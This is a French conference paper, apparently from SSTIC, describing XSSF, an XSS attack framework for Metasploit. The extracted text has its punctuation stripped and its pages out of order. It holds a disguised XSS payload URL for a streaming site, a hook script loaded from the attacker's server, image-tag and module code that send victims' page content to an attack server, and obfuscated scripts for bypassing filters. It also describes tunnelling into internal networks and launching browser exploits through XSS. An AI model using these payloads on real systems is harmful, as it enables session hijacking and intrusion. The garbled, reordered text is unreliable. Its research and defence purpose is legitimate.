Le code precedent va permettre de charger deux IFRAMES dans la page ndash La premiere permet de realiser le rebond vers lrsquoapplication interne et de lier

la victime au serveur XSSF On notera qursquoil est aussi possible drsquoutiliser unmodule XSSF pour realiser le rebond Ici pour plus de simplicite le rebond sefait directement lors de lrsquoattaque La victime liee a XSSF est donc directementreconnue comme etant sur le domaine vulnerable http1921681180

ndash La seconde permet de re-afficher la page a lrsquoutilisateur avec un ID de contenumultimedia valide le laissant ainsi visionner la video De plus la page etantmaintenant chargee dans une IFRAME et le rebond dans une autre lrsquoutilisateurpeut continuer a naviguer (par les liens de la page) sans que la connexion avecXSSF ne soit rompue Bien entendu les IFRAMES sont configurees afin que lestyle de la page soit inchange

13 httpfrwikipediaorgwikiLoi Creation et Internet

330 XSSF demontrer le danger des XSS

Bien que fonctionnelle si cette URL est envoyee en masse ou par envois ciblesles chances sont assez grandes pour que lrsquoutilisateur se doute qursquoun code est inseredans lrsquoURL De plus comme la solution contient plusieurs niveaux de guillemets (rsquordquo 22) nous utiliserons donc un encodage numerique (pour les caracteres entre lesbalises ltscriptgt ) pour ne pas creer drsquoerreurs drsquointerpretation par le navigateur

httpwwwsite-de-streamingcomstreamingphpname=death_tunnelamp

movie_id_url=2943ampp1=trueampp2=falseampp3=falseampp4=falseampp5=trueamp

p6=falseampp7=falseamppage=movie_streamingamptime=1303948281772ampp=2943gt

ltscriptgteval(StringfromCharCode(10011199117[]623959))

ltscriptgt

Des parametres ont ete ajoutes afin de deplacer la partie effectivement malicieusedu code pour qursquoelle nrsquoapparaisse pas dans la barre drsquoadresses du navigateur On peutpour finir raccourcir le lien afin de lrsquoenvoyer plus simplement httpgooglZ1jI9

Maintenant que nous avons realise le rebond XSS afin de garder la victime leplus longtemps possible et que celle-ci est liee par le domaine vulnerable http

1921681180 nous allons pouvoir passer a la tunnelisation par XSS Dansles reseaux informatiques un tunnel est en fait une encapsulation de donnees drsquounprotocole reseau dans un autre Pour faire la comparaison avec les XSS on ne parlerapas de protocoles mais plutot drsquoencapsulation de requetes HTTP dans du JavaScriptLe but de la manipulation etant donc de naviguer a partir du navigateur de lrsquoattaquantsur une application du reseau interne normalement inaccessible depuis lrsquoexterieur

Le principe de notre tunnel est simple puisque la SOP autorise la victime aeffectuer des requetes sur le domaine vulnerable actuel ( http1921681180 )nous allons nous en servir comme proxy afin de naviguer sur son domaine a sa place

Lrsquoattaquant va donc pouvoir configurer son navigateur pour passer par XSSFcomme proxy et realiser une requete sur le domaine http1921681180 (1)La requete HTTP est ensuite envoyee au serveur drsquoattaque (2) qui srsquooccupe de latransformer en requete comprehensible par la victime (3) une simple requete enAJAX suffit Toutes les requetes envoyees par le navigateur sont gardees en memoiredans XSSF en attendant que la victime vienne demander ses commandes Une foisle code (requete AJAX ou liste de requetes) transmis par XSSF (4) la victime vapouvoir lrsquoexecuter (5) et recevoir une reponse du serveur interne vulnerable (6) Cettereponse sera renvoyee au serveur XSSF en tant que reponse a une attaque (7) et leserveur drsquoattaque pourra enfin retourner la reponse au navigateur (8) Lrsquoattaquantpeut ainsi visualiser le domaine comme srsquoil etait la victime puisque crsquoest elle qui varealiser toutes ces requetes

L Courgnaud 331

Figure 12 Principe du tunnel XSS

Au niveau du serveur drsquoattaque XSSF lrsquoordre de depart des requetes a executernrsquoest pas forcement le meme que lrsquoordre drsquoarrivee des reponses (la reponse a unerequete A envoyee avant une requete B peut etre recue apres celle de B) Il est doncimportant au niveau du serveur drsquoidentifier chacune des requetes envoyees par lenavigateur afin de ne pas inverser les ressources demandees

Bien evidemment le proxy nrsquoest pas aussi rapide qursquoun proxy normal car le serveurdrsquoattaque doit attendre que la victime demande des commandes avant de pouvoireffectuer une requete Un moyen efficace est de regler lrsquointervalle de demandes decommandes depuis la victime avec une petite valeur (1 ou 2 secondes)

Pour le moment le proxy gere plutot bien tout types de ressources en GET eten POST sur des domaines en HTTP Quelques problemes subsistent encore pourlrsquoutilisation sur des domaines en HTTPS avec des navigateurs ne supportant pas leHTML5 (problemes enonces dans la partie 23) Lrsquoutilisation du tunnel dans cetteminorite de cas risque de srsquoaverer impossible

On remarquera pour finir que sous Internet Explorer 6 (encore tres utilise 14) lapolitique de la SOP nrsquoinclut pas de regles pour les documents ouverts localement il est donc possible de realiser une attaque demandant drsquoouvrir un fichier malicieux(HTML + JavaScript) en local et ainsi de ne pas avoir a se soucier de la SOP Graceau tunnel on peut donc naviguer sur nrsquoimporte quel site et profiter des sessions dejaouvertes de la victime sur differentes applications

14 httpie6countdowncom

332 XSSF demontrer le danger des XSS

VICTIME

APPLICATION_WEB METASPLOIT ATTAQUANT NAVIGATEUR

Transformation de la requecircte en JavaScript (XMLHttpRequest)

Transformation de la requecircte 1 en JavaScript

Transformation de la requecircte 2 en JavaScript

Intranet httpintranetindexphp

Demande de code agrave exeacutecuter

Etc

Proxy XXXXY

GET httpintranetindexphp

GET httpintranetindexphp

Mise en attente du code JavaScript agrave exeacutecuter

Demande de code agrave exeacutecuter

200 Envoi du code agrave exeacutecuter

Exeacutecution du code coteacute client

Envoi des reacutesultats

200 OK

Reacuteponse au GET (httpintranetindexphp)

GET httpintranetpage1php

Mise en attente du code agrave exeacutecuter

GET httpintranetimagejpg

Mise en attente du code agrave exeacutecuter (concateacutenation au code deacuteja existant)

XMLHttpRequest

SOP OK Reponse OK

Figure 13 Fonctionnement de XSSF Tunnel

5 Protections limites et contournements

Les vulnerabilites de type XSS sont connues depuis de nombreuses annees etbien que beaucoup de techniques existent pour srsquoen proteger elles sont souvent peuappliquees voire jamais sur certaines applications Ce manque de protections estsouvent du a lrsquoidee generale infondee de beaucoup de personnes pensant qursquoune failleXSS sert juste a afficher une boite de dialogue ce qui en fait est plus une preuve deconcept (PoC) qursquoune attaque en elle-meme

Mais face aux possibilites evoquees precedemment quelles sont les protectionsreelles existantes afin de se proteger efficacement

Il existe tout drsquoabord des solutions cote client souvent utilisees mais parfois in-efficaces

Filtres XSS (IE8 par exemple) Plutot efficace en temps normal mais ne fonc-tionne que pour les XSS volatiles (les plus rencontrees) Pour les XSS persistantes

L Courgnaud 333

la detection ne sera pas faite car les tests sont bases sur la requete faite au serveuret la reponse immediatement recue (on cherche si les parametres inseres sontpresents sans avoir ete filtres dans la reponse) On notera quand meme que denombreux patchs sont deja parus pour combler des breches dans ce filtre et qursquoily a donc tres probablement drsquoautres moyens de le bypasser (sans compter quecertains sites non vulnerables le sont devenus avec lrsquoutilisation de ce filtre [9] )

Bloqueurs (NoScript sur Firefox par exemple) Permet de nrsquoautoriser que lesscripts provenant de sites dit de confiance definis par lrsquoutilisateur ce qui en faitune solution assez efficace Cependant comme la majorite des sites aujourdrsquohuiont beaucoup de mal a fonctionner sans JavaScript crsquoest une solution qui devienttrop restrictive De plus du JavaScript malicieux sur un site de confiance ne serapas detecte et sera execute

Les IPS (Intrusion Prevention System) Permettent de reperer le passage dedonnees suspectes ou anormales sur le reseau et de les bloquer avant leur arriveea destination Crsquoest une solution efficace pour reduire lrsquoimpact des attaques maisqui encore une fois a ses limites tous les codes ne pouvant pas etre detectes Pireencore cette solution ne sera utile que sur des flux en clair aucun interet si lavulnerabilite se trouve sur un site en HTTPS

Ces solutions bien qursquoutiles dans la plupart des cas ne permettent pas de bloquertous les codes malicieux Crsquoest en partie du au fait qursquoun meme code JavaScript peutsrsquoecrire de nombreuses manieres differentes lrsquoempechant ainsi drsquoetre detecte par lesfiltres et autres solutions (cote client ou cote serveur)

lthtmlgtltbodygt

ltscript gt

alert (0)

alert(x30)

eval(rsquoalert (0)rsquo)

eval(StringfromCharCode (97 108 101 114 116 40 48 41 59))

var a=[x66x72x6Fx6Dx43x68x61x72x43x6Fx64x65] eval(String

[a[0]](30+67 100 -8+16 101 114 116 40 48 41 60 -1))

eval(function(packed)e=function(c)return cif(rsquorsquo replace (^

String))while(c--)d[c]=k[c]||ck=[ function(e)return d[e]]e=

function ()return rsquow+rsquoc=1 while(c--)if(k[c])p=preplace(new

RegExp (rsquobrsquo+e(c)+rsquobrsquorsquogrsquo)k[c]) return p( rsquo1(0)rsquo22rsquo|alert rsquo

split(rsquo|rsquo) 0))

334 XSSF demontrer le danger des XSS

function name(str) eval(eval(str)) name ( rsquo([]+[]) [++[]]+([]+[])

[+[]++[]]+(+[]+[]) [+[]++[]++[]]+([]+[]) [++[]]+([]+[])

[+[]]+(+[])rsquo)

document[x77x72x69x74x65](x3Cx73x63x72x69x70x74x3Ex61

x6Cx65x72x74x28x30x29x3Bx3Cx2Fx73x63x72x69x70x74x3E

)

eval(unescape(616C657274283029))

ltscript gt

ltbodygtlthtmlgt

Ces multitudes de facons drsquoecrire un meme script (ici seulement alert (0) )rendent drsquoautant plus difficile le travail pour les filtres XSS qui doivent etre concuspour bloquer toutes les possibilites drsquoinjection de code autre que celui prevu Onpeut aussi imaginer une fonction decodant des caracteres en Base64 (par exemple)qui en elle meme ne sera pas malicieuse mais qui peut recevoir une chaine mali-cieuse en entree qui ne sera pas forcement detectee par les filtres Il nrsquoest pas rarede voir 98 de code non malicieux servant a decoder les autres 2 qui eux le seront

Pour le moment il nrsquoexiste pas de solution miracle pour se proteger individuel-lement des XSS cote client Cote serveur on peut par exemple utiliser des WAF(Web Application Firewall) qui serviront a bloquer certaines XSS (meme srsquoils nesrsquoappliquent pas seulement aux XSS) Ceux-ci jouent le role de filtres appliquant uneliste de regles a respecter pour les conversations en HTTP

Heureusement il existe un moyen vraiment efficace afin de reduire la frequence derencontre de ces vulnerabilites la sensibilisation des developpeurs et des chefs deprojets afin de rendre efficaces les controles XSS cote serveur Par experience bientrop peu drsquoapplications mettent en place de vraies protections par manque de tempsde moyens et surtout de connaissances On notera que les controles sont souventrealises cote client par lrsquoapplication et peuvent se contourner assez facilement avecun proxy par exemple Dans chaque langage de programmation il existe deja denombreuses fonctions permettant de filtrer les entrees utilisateur Des protectionsplus personnelles sont souvent implementees mais srsquoaverent dans presque tousles cas inefficaces et sont facilement contournees

L Courgnaud 335

6 Conclusion

Nous avons montre dans ce papier au travers du nouvel outil XSSF que lesvulnerabilites XSS restent dans la majorite des cas plus simples a exploiter qursquoellesnrsquoy paraissent et surtout qursquoelles peuvent mener a des attaques de grande ampleur

Alors que beaucoup de personnes pensent leurs elements internes (applicationspage de configurations drsquoelements reseaux) hors de danger car restreintes drsquoacces letunnel XSS permettra de demontrer le contraire dans le cas ou un acces Internet estpossible depuis ce meme reseau

Pour le moment lrsquooutil fonctionne en environnement reel sur la majorite desnavigateurs utilises (Firefox IE Opera Safari Chrome Android Browser iOS Safari)quelle que soit la version avec une installation par defaut

Esperons donc que le projet XSSF et les autres puissent aider a faire prendreconscience des reels danger de ce type de failles encore rencontrees sur bien tropdrsquoapplications

7 Remerciements

Je tiens a remercier Imad Abounasr pour lrsquoidee de realisation du projet XSSFainsi que pour les nombreuses relectures et corrections qursquoil a apporte a cet article Jeremercie egalement Pierre Gardenat pour ses travaux concernant les XSS (notammentSSTIC 2009 et MISC 49) lesquels mrsquoont servi drsquoinspiration pour le debut du projet

References

1 WhiteHat Security WhiteHat Security 11th Website Security StatisticsReport 1er trimestre 2011 httpwwwslidesharenetjeremiahgrossman

11th-website-security-statistics-full-report-q1-2011

2 Pierre Gardenat iexclscriptiquestalert(rsquoXSSrsquo)iexclscriptiquest XSS de la brise a lrsquoouragan Actes SSTIC Juin 2009 httpactesssticorgSSTIC09XSS-_de_la_brise_a_louraganSSTIC09-article-P-Gardenat-XSS-_

de_la_brise_a_louraganpdf

3 Dafydd Stuttard Marcus Pinto The Web Application Hackerrsquos Handbook Discovering and ExploitingSecurity Flaws 2008

4 OWASP (Open WEB Application Security Project) Cross-site Scripting (XSS) 2010 httpwwwowasporgindexphpXSS

5 OWASP (Open WEB Application Security Project) Testing for Cross site scripting 2010 http

wwwowasporgindexphpTesting_for_Cross_site_scripting

6 Gunter Ollmann HTML Code Injection and Cross-site scripting 2007 httpwwwtechnicalinfonetpapersCSShtml

336 XSSF demontrer le danger des XSS

7 Wikipedia Cross-site scripting 2010 httpenwikipediaorgwikiCross-site_scripting

8 Jeremiah Grossman XSS is the New Buffer Overflow JavaScript Malware is the New Shell Code 2007httpjeremiahgrossmanblogspotcom200704xss-attacks-bookhtml

9 IE 8 XSS filter exposes sites to XSS attacks httpgoogl42CsK

  • XSSF deacutemontrer le danger des XSS
  • L Courgnaud
Page 14: XSSF : démontrer le danger des XSS - SSTIC · ow, JavaScript Malware is the new shell code ˛. Ce potentiel qu’ont les failles XSS est aussi du^ a la grande evolution des capacit

L Courgnaud 315

Cependant il existe differentes techniques pour contourner ce probleme

A Utilisation de balises acceptant un champs src ces balises etant autorises parla SOP nous pouvons tres bien imaginer de charger une image avec ltimg20src=

http1010036245bypassjpgreponse=xxxgt Il est ainsi possible derecuperer une reponse cote serveur Utilisee dans BeEF et tres connue cettetechnique possede une tres grande limite la taille de la reponse ne pourra pasexceder la taille maximum autorisee pour les URL La RFC ne definit pas detaille limite pour la longueur drsquoune URL cependant chaque navigateur peut enimplementer une (2083 caracteres pour IE par exemple) De plus les librairiesRuby embarquees supportent mal la gestion de donnees importantes en GET (ge1Mo)

B Utilisation drsquoun formulaire ( ltFORMgt ) a lrsquointerieur drsquoune IFRAME invisibleafin de realiser un POST vers XSSF Cette solution permet drsquoenvoyer un grandnombre de donnees Seul bemol au choix de cette technique lrsquoutilisation sur undomaine en HTTPS En effet la plupart des navigateurs avertiront lrsquoutilisateur dupassage de donnees en clair vers un serveur tiers Dans le cas drsquoune exploitationsur un domaine HTTPS il est possible par cette technique que la victime se rendecompte de la recuperation de donnees vers un serveur malicieux

C Mise a profit des nouveaux elements de partage de ressources entre domaines offertspar le HTML5 Grace a eux il sera possible de realiser un POST simplementen AJAX en utilisant lrsquoobjet XMLHttpRequest (ou XDomainRequest sur IE)Lrsquoavantage est que les donnees transferees peuvent avoir une taille importanteet que lrsquoutilisateur ne sera pas averti de lrsquoechange de donnees (en HTTP commeen HTTPS) Lrsquoinconvenient majeur a cette solution est qursquoelle est seulementcompatible avec les dernieres versions des navigateurs actuels (celles supportantla fonctionnalite de Cross-Origin Resource Sharing (C-ORS) )

HTTP HTTPS

SO

LU

TIO

NB

Co

mpa

tibl

eto

us

na

viga

teu

rs

C-ORS SUPPORTE C-ORS NON SUPPORTE

SOLUTION CIE 8+ FF 35+ Safari 4+

Chrome Android Browser 21+iOS Safari 32+

SOLUTION BoplusUtilisateur probablement averti oplus

IE 7- FF 3- Safari 32-Opera

Table 2 Solution retenue pour le retour des donnees depuis la victime vers XSSF

316 XSSF demontrer le danger des XSS

La solution actuellement mise en place permet un fonctionnement des echangesdans la majorite des cas Bien entendu cette solution ne concerne que les donneesenvoyees depuis les victimes vers le serveur drsquoattaque Ce choix ne remet pas en causela possibilite drsquoutilisation des attaques ne necessitant pas de reponse (quelque soit lenavigateur) En effet comme nous lrsquoavons vu precedemment lrsquoenvoi des attaques sefait avec la solution A compatible avec tous les navigateurs

VICTIME

APPLICATION_WEB METASPLOIT ATTAQUANT

Lancement de Metasploit

Lancement de XSSF

Deacutemarrage du serveur maicirctre XSSF (IP XXXXY)

Injection du script malicieux (ltscript src=httpXXXXYloopinterval=3gt

Connexion agrave lapplication

Appel du fichier loop

Enregistrement dune nouvelle victime

Envoi du fichier loop (JavaScript)

Mise en attente 3 secondes

Demande de code agrave exeacutecuter

Mise en attente 3 secondes

Mise en attente dun eacutevegravenement (code) pour la victime

Recherche de code pour la victime

Demande de code agrave exeacutecuter

Recherche de code pour la victime

404 No code

200 Envoi du code agrave exeacutecuter

Exeacutecution du code partie client

Envoi des reacutesultats (facultatif)

Sauvegarde des reacutesultats

Demande des reacutesultats dattaques (logs)

Geacuteneacuteration des logs

Affichage des logs et statistiques en temps reacuteel

Mise en attente 3 secondes

200 OK

Figure 5 Fonctionnement de XSSF

L Courgnaud 317

En plus de la boucle permettant de recuperer des attaques le code envoye lors dela demande de la ressource rsquolooprsquo comprend donc une bibliotheque de fonctions quelrsquoattaquant pourra utiliser dans ses modules drsquoattaques notamment une fonction derecuperation de donnees Bien entendu grace a la gestion des attaques par le noyauXSSF un attaquant pourra utiliser les fonctions fournies par le framework drsquoou il lesouhaite meme a lrsquointerieur drsquoIFRAMES qursquoil aura cree (le framework se charge derajouter a la volee la bibliotheque de fonctions lors de lrsquoarrivee des donnees depuis unserveur esclave)

Ainsi nous avons donc bien reussi a realiser les GET et POST necessaires et cemalgre la SOP Le canal de communication avec la victime est donc bi-directionnel la victime peut demander des commandes et repondre au serveur dans la majoritedes cas La recuperation de donnees reste cependant limitee (pour le moment) lorsquela victime utilise un navigateur ancien sur un domaine en HTTPS

34 Attaques XSSF

Maintenant que nous avons detaille le fonctionnement general de XSSF nousallons pouvoir expliquer les possibilites offertes par chaque module drsquoattaque Ceux-ciservent a realiser une attaque directement liee a une faille XSS (souvent en JavaScript)Ils doivent pouvoir etre implementes par nrsquoimporte qui facilement et sans avoir aconnaitre le fonctionnement du noyau de XSSF

Un module XSSF est compose de deux grandes parties

Lrsquoinitialisation permet de definir les informations et parametres du module a insererdans Metasploit lors de son utilisation

Le serveur web defini les actions a realiser par le serveur esclave lorsqursquoil recoitune requete (depuis le serveur maıtre)

class Metasploit3 lt Msf Auxiliary

include MsfXssf XssfServer

Module initialization

def initialize(info = )

super(update_info(info

rsquoNamersquo =gt rsquoWebPage Saver rsquo

rsquoDescription rsquo =gt rsquoSaves current page viewed by the victim rsquo

))

end

318 XSSF demontrer le danger des XSS

Part sent to the victim insert your code here

def on_request_uri(cli req)

send_response(cli Q XSSF_POST(documentdocumentElementinnerHTML

rsquoselfnamersquo) )

end

end

Sur cet exemple nous retrouvons bien les deux parties Lrsquoinclusion au depart de XssfServer permet de charger le module (au sens Ruby) de gestion des serveursesclaves (ce module implemente un module de serveurs drsquoattaques deja fourni parMSF pour les exploits)

Lrsquoinitialisation du module permet de redefinir des informations propres (nom etc)mais aussi drsquoen rajouter Toutes ces informations et options sont automatiquementstockees dans un objet datastore defini par Metasploit Dans XssfServer desinformations par defaut pour tous les modules lrsquoimplementant sont deja definies

def initialize(info = )

super(update_info(info

rsquoNamersquo =gt rsquoXSSF MODULE rsquo

rsquoDescription rsquo =gt rsquoXSSF MODULE rsquo

rsquoAuthor rsquo =gt rsquoConix Security rsquo

rsquoLicense rsquo =gt MSF_LICENSE

))

register_options(

[

OptStringnew(rsquoVictimIDs rsquo [false rsquoIDs of the victims to send code

Examples 1 3-5 ALL NONErsquo rsquoALLrsquo])

] MsfXssf XssfServer

)

deregister_options(rsquoSSLrsquo rsquoSSLVersion rsquo)

end

On trouve une option rajoutee qui permet lors de lrsquoutilisation drsquoun moduleimplementant XssfServer de specifier la liste des victimes a attaquer (toutes pardefaut)

Ensuite on trouve dans chaque module XSSF la methode on request uri definie par XssfServer comme celle etant appelee a chaque nouvelle requete versun serveur esclave Elle prend en parametres le client (au sens socket) et la requeteeffectuee Comme nous lrsquoavons vu precedemment le client sera en fait le serveur

L Courgnaud 319

maıtre (jouant un role de proxy entre les victimes et les serveurs esclaves)

Cette methode permet de renvoyer une reponse au client par lrsquointermediaire de lafonction send response qui prend deux parametres obligatoires (client et coderenvoye) et un parametre facultatif (entetes HTTP) Le code construit est une chaınequi peut contenir directement du JavaScript ou du code HTML Crsquoest ensuite leserveur maıtre qui fera la difference entre les deux Dans tous les cas la reponseenvoyee a la victime sera un script si le code attendu est du HTML le serveur maıtrese chargera de creer une IFRAME en JavaScript afin drsquoy inserer le code On constateaussi lrsquoutilisation de la fonction POST qui permettra de renvoyer une reponse vers leserveur drsquoattaque Ici aussi crsquoest le serveur maıtre qui va permettre lrsquoacces a cettefonction depuis nrsquoimporte ou en toute transparence pour la victime et la personnecreant le module

Bien entendu chaque module peut faire appel a des ressources supplementairesLorsque la victime demandera a nouveau la ressource au serveur maıtre si la ressourceest un fichier connu (les fichiers XSSF ndash images pdf etc ndash sont stockes dans unrepertoire defini) il la renverra directement sinon il la demandera automatiquementau serveur esclave associe a la victime (si elle est en cours drsquoattaque)

Au fil du temps chaque victime peut recevoir autant drsquoattaques que lrsquoattaquant ledesire mais seulement une seule a la fois En revanche plusieurs attaques differentessur des victimes distinctes peuvent avoir lieu en meme temps (drsquoou lrsquointeret de lesidentifier) Chaque victime dispose drsquoune file drsquoattente en base de donnees pourrecuperer ses attaques une par une

Lrsquoutilisation drsquoun module XSSF se fait exactement de la meme maniere que pourles modules MSF (avec la commande use ) Il en est de meme pour le lancementdrsquoun module (commandes run exploit ou exploit -j pour lancer lemodule en tache de fond)

On constate donc bien ici le lancement de lrsquoattaque save page sur la victime5 Lorsqursquoelle demandera si une attaque lui est destinee le serveur maıtre contacterale serveur esclave lance afin de recuperer le code a envoyer

Cote victime apres la reception du javascript loop initial une page drsquoerreur404 (Not Found) est renvoyee signe que le serveur maıtre nrsquoa aucune attaque pour lemoment Lorsque lrsquoon execute le module decrit precedemment le code est envoye a la

320 XSSF demontrer le danger des XSS

Figure 6 Execution drsquoune attaque XSSF sur les victimes actives

Figure 7 Execution drsquoune attaque cote victime

victime qui peut lrsquoexecuter

Bien entendu comme pour chaque module Metasploit les informations des mo-dules XSSF sont disponibles dans la console On retrouve les parametres propres aumodule (aucun dans le cas present) ceux herites du module XssfServer (Victi-mIDs) et ceux herites de MSF (le reste)

Afin drsquoillustrer le plus simplement possible le fonctionnement drsquoun module drsquoat-taque XSSF lrsquoexemple montre ici est des plus triviaux Beaucoup drsquoautres modulesdrsquoattaques sont presents le but etant drsquoamener la communaute a participer afin decreer des scenarios drsquoattaques interessants pour faire prendre conscience des possibilitesoffertes par les XSS et surtout de leur simplicite drsquoexploitation

35 Exploits MSF depuis XSSF

Afin de rendre ce framework XSS le plus complet possible et de lrsquointegrer totale-ment a MSF il est important drsquoavoir la possibilite de lancer des exploits MSF depuis

L Courgnaud 321

une vulnerabilite XSS Bien evidemment les exploits possibles sont ceux destines auxdifferents navigateurs

Le fonctionnement est relativement simple puisqursquoil suffit de lancer un exploit enprecisant qursquoil doit se lancer en tache de fond

Tous les modules lances en tache de fond sont consideres comme etant des jobs par Metasploit

Figure 8 Modules lances en tache de fond sur Metasploit

Le lancement de lrsquoattaque avec la commande xssf exploit [VictimIDs]

[JobID] entraıne la mise en attente drsquoune nouvelle attaque pour la ou les vic-time(s) choisie(s)

Figure 9 Lancement drsquoun exploit MSF sur une victime choisie avec XSSF

Ici le code sera donc bien renvoye a la victime lorsque celle-ci en fera la demandeA la suite de lrsquoexecution du code une session sera disponible et la prise de controleest effectuee avec une simple XSS ciblee

Une fois de plus crsquoest le serveur maıtre qui va gerer la facon dont sont charges lesmodules cote victime (gestion de jeux drsquoIFRAMES de scripts etc) Tous les modulesMetasploit peuvent donc etre utilises avec XSSF Ainsi une simple injection de scriptgenerique ( loop ) pourra entraıner lrsquoexecution de nrsquoimporte quelle attaque XSSFou exploit MSF sur nrsquoimporte quelle victime

322 XSSF demontrer le danger des XSS

36 Automatisation des attaques

Il est possible grace au framework XSS drsquoautomatiser les attaques a lancer Cecipermet de placer automatiquement une liste drsquoattaques dans la file drsquoattente de toutesles nouvelles victimes Lrsquoattaquant nrsquoa ainsi pas a lancer les attaques a chaque foispour une victime ou un groupe de nouvelles victimes

Les attaques automatiques peuvent etre de nrsquoimporte quel type (XSSF ou exploitMSF) et les modules correspondants doivent etre lances en tache de fond avant deles rajouter en attaque automatique

37 Fiabilisation des attaques

Comme pour les attaques applicatives il est important de fiabiliser une attaqueXSS afin de garder une connexion avec la victime apres son depart de la pagevulnerable Ce maintien de la connexion nrsquoest pas assure par le framework mais parses modules Pour le moment il existe un seul module de fiabilisation (ghostifyrb)mais de nouveaux peuvent venir se rajouter Celui actuellement present permetdrsquoanalyser la page afin de remplacer les hyperliens de type ltagt et de rajouterune fonction lors drsquoun clic Ainsi lorsque lrsquoutilisateur quitte la page en suivant unlien une fenetre (de petite taille) est ouverte et placee en arriere plan permettant degarder lrsquoutilisateur sur la page malicieuse

On peut imaginer drsquoautres modules de ce type avec par exemple un modulepermettant de recharger la page actuelle dans une IFRAME afin de toujours garderlrsquoutilisateur sur le meme domaine

38 Resultats et statistiques drsquoattaques

Figure 10 Page HTML de resultats drsquoattaques

Enfin pour venir completer lrsquoutilisation du framework lrsquoimportation des resultatset statistiques drsquoattaques est rendue possible grace a la commande xssf import attacks

L Courgnaud 323

Figure 11 Statistiques drsquoattaques en temps reel

[VictimID] Le framework se charge de generer dynamiquement une page de logs(au format HTML) comprenant les attaques envoyees et les reponses recues ainsiqursquoune page de statistiques actualisees en temps reel

39 Recapitulatif par rapport a lrsquoexistant

Lors du debut du projet XSSF il y a a peu pres un an certains outils existaientdeja Cependant la possibilite drsquoutiliser Metasploit afin de realiser des exploits cibleset lrsquointegration drsquoun tunnel ont etes les elements declencheurs a la realisation drsquounnouvel outil En effet ces deux elements permettent de montrer des possibilites moinsconnues et plus redoutees dans les entreprises (un vol de cookie dans un reseauinterne depuis lrsquoexterieur etant inutile)

XSSShellXSSTunnel

BeEF XeeK XSSF

Codes sup-portes

JavaScriptVBScript

JavaScriptVBScript

JavaScriptVBScript

JavaScriptVBScriptHTML

Base dedonnees

MS Access Fichiersimple

MySQL SQLite3MySQLPostgreSQLetc (cellessupporteespar RubyOn Rails)

324 XSSF demontrer le danger des XSS

XSSShellXSSTunnel

BeEF XeeK XSSF

Serveur IIS 5 ousuperieur

Quelconquesupportantle PHP

Quelconquesupportantle PHP

Embarquefourni parRuby

Taille to-tale ducode (sansles mo-dules)

env 310Ko env 400Ko env 250Ko env 65Ko

Taille ducode ini-tialementenvoye auxvictimes

326Ko 43Ko 169Ko 51Ko

Chargementdynamiquedes at-taques

Non (toutesenvoyeesdirectementau debut etexecutees surdemande)

Oui Oui Oui

Constructiondrsquoun liencontenantune seuleattaqueXSS

Non Non Oui(construc-tion drsquouneURLspecifiquea une seuleattaque oua une listedrsquoattaques)

Oui (dela mememaniere queles exploitsMSF)

Prise encharge desexploitsMSF

Non Oui (redirec-tion de la vic-time vers leserveur drsquoat-taque MSF)

Non Oui (di-rectementdans XSSFen tantque serveurmaıtreesclave)

L Courgnaud 325

XSSShellXSSTunnel

BeEF XeeK XSSF

Langages Portabilite

ASPNET -Windows

PHP - Por-table

PythonPHP -Portable

Ruby - Por-table

Client gra-phique

Oui (webet appli-catif pourXSSTunnel)

Oui (web) Oui (web) Oui (web etJava)

Clientconsole

Non Non Oui (inspireede MSF)

Oui (celle deMSF)

Multi-attaquants

Oui Oui Oui Oui(XMLRPC +Armitage)

Attaquesautoma-tiques

Non Oui Oui Oui

TunnelXSS

Oui (Instal-lation drsquouneapplicationWindows)

Non Non Oui (Bi-naire)

Obfuscationde code Bypass desfiltres XSS

Non Non Non Non

Generationde rapports

Non (logs af-fiches a lavolee )

Non (logs af-fiches a lavolee )

Oui Oui

SeparationClient Serveur

Non Non Oui Non

326 XSSF demontrer le danger des XSS

XSSShellXSSTunnel

BeEF XeeK XSSF

Ajout pos-sible drsquoat-taques(sansconnais-sance dunoyau)

Difficilement(en dur dansle code)

Oui Oui Oui (mo-dules)

Gestion parmodules

Non pasde notionde modulesfonctionsJavaScriptintegrees aucode

Oui (3 fi-chiers parmodules [jsphp et txt]

Oui (un fi-chier js parmodule)

Oui (un fi-chier rb parmodule)

Gestion demasse desvictimes

Oui Difficilement(utilisationde sqlite3donc drsquounfichier avecdes acceslimites)

Oui Oui

Installation Informationspour la BDet le serveurIIS a entrerdans unfichier deconfigura-tion

Mise enplace desfichiers surun serveurweb

Informationssur la BDet le serveura modifierdans le code

InstallerMSF ety copierles fichiersXSSF

Table 3 Comparaison de XSSF par rapport aux outilsexistants

Note cette comparaison a ete realisee avec la version de BeEF avant son portageen ruby (debute en octobre 2010) Certains elements ne sont plus a jour notamment

L Courgnaud 327

concernant lrsquointegration des attaques Metasploit qui semble etre meilleure Pourlrsquoinstant la nouvelle version est en beta et ne fonctionne pas totalement crsquoest pour-quoi lrsquoancienne version a ete gardee pour cette comparaison Le projet XSSShell XSSTunnel nrsquoest plus maintenu son auteur ayant rejoint le projet BeEF Quant auprojet XeEK il ne semble pour lrsquoinstant plus evoluer

Bien evidemment le gros avantage de XSSF par rapport aux autres est sonintegration dans un outil deja tres connu et enormement utilise pour les tests drsquointru-sion Lrsquoinstallation de XSSF est relativement simple et nous esperons pour le futurune integration officielle dans le Framework Metasploit Pour finir lrsquointeret majeurpar rapport aux outils actuellement existants est la possibilite drsquoutiliser un tunnelXSS afin de recuperer les pages (du domaine vulnerable) telles qursquoelles sont vues parla victime

4 Rebond et tunnel XSS

Dans cette section nous allons voir en detail une fonctionnalite importante offertepar le plugin XSSF interessante malgre les limitations de la SOP lrsquoencapsulation derequetes dans un tunnel XSS Nous verrons au travers drsquoun exemple concret lrsquoutiliteque peut avoir un rebond lors drsquoune attaque XSS et notamment lors de la mise enplace drsquoun tunnel XSS

Le principe choisi pour lrsquoexemple est simple lrsquoattaquant ayant connaissance drsquouneXSS (volatile) situee sur une application drsquoun reseau interne veut etre capable de na-viguer sur le domaine vulnerable a partir de son propre navigateur Bien evidemmentlrsquoattaquant nrsquoa aucun acces au reseau interne et de ce fait aucun acces a lrsquoapplicationLrsquoexemple choisi est base sur une vulnerabilite XSS obtenue avec une installationpar defaut de WampServer 11 mais pourrait etre reproduit exactement de la memefacon avec une XSS sur une interface web drsquoun element reseau (routeur firewalletc) ou les controles sont souvent negliges et les identifiants par defaut inchanges La vulnerabilite est donc presente sur la page httplocalhostlang=en alrsquointerieur du parametre lang

La premiere chose a laquelle on peut penser est drsquoattaquer une ou plusieurspersonnes internes au reseau (ayant acces a lrsquoapplication vulnerable) de deux manieressimples

11 httpwwwwampservercom

328 XSSF demontrer le danger des XSS

